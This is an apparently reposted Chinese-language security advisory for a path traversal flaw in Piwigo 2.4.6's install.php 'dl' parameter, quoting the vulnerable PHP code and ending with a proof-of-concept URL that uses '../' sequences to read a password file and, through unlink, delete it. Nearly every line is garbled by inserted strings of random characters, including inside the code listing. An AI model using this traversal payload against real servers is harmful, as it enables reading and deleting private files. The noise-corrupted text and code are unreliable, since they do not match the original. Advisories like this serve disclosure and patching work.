Piwigo是用PHP编写的相册脚本。; ^8 ]# r! F$ v2 U
; v' B+ s/ g% ], A y, K
Piwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值,在实现上存在安全漏洞,攻击者可利用这些漏洞查看受影响计算机上的任意文件,删除受影响应用上下文内的任意文件。* J" w% y& }* J# ~# {& O
====================================================================
4 U4 k1 C. l- u8 ^0 w# C. @, q. R/install.php:" T" e7 y( X2 `1 z
-------------
9 @# Z& k) g5 V113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))* K3 O1 \, W5 m C/ d
114: {: |; d/ A0 p4 C" t7 X
115: $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];& V# @/ C% L3 O: F0 U% S% h: X# f" m, _
116: header('Cache-Control: no-cache, must-revalidate');
/ ?0 E$ ~+ y# L8 U+ L' V% c4 H2 D# I117: header('Pragma: no-cache');
9 y h$ s+ {9 Q4 h$ X3 _: {118: header('Content-Disposition: attachment; filename="database.inc.php"');
N2 V, F2 H0 q3 ^4 ~) e119: header('Content-Transfer-Encoding: binary');# G+ F9 w7 g, ]/ a% ]. I* O4 r7 o
120: header('Content-Length: '.filesize($filename));
$ M$ N/ q! L; I8 a ~0 v9 E, E$ n121: echo file_get_contents($filename);, r6 K. z+ A) `# t
122: unlink($filename);
9 n8 x: g6 I) x6 D! Z$ X123: exit();2 g4 E0 j( z- ~6 J3 r
124: }& `5 g8 k/ D# L0 Q7 w
====================================================================
Z! t3 Q" S0 |# O& d' |& A
7 k- o( c/ H4 g) [: zTested on: Microsoft Windows 7 Ultimate SP1 (EN)
* R& Y9 ?9 d6 N2 Y' N4 t" l Apache 2.4.2 (Win32)
0 H/ \0 b$ }) V _9 J PHP 5.4.4
; ]$ l4 E/ i% E' A( u. Y MySQL 5.5.25a
b2 I- v0 V, C) C" F# ~0 H4 i
2 Z( Z# |3 b/ t) ?Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
/ r& S1 t) J% x! _ @zeroscience/ t9 c9 r4 ~/ M; U
0 S( E0 `" X8 y9 nAdvisory ID: ZSL-2013-51273 s- b; }& y2 k
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
" O* b" V. u* h+ v" H* }; aVendor Patch: http://piwigo.org/bugs/view.php?id=2843
7 K* T! A% j" [) ^( H
# X. f/ X I, S9 h$ D15.02.2013+ F( {1 s9 w# v8 y9 X% V( Q6 f
3 S: f6 ?/ Y0 B2 R4 j: n--
* F( y6 C/ a( p$ y) k$ Ghttp://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt9 c+ A N3 Z% j0 t" E( ~4 a, `
, S. h j' n% F* a6 W* l1 B
|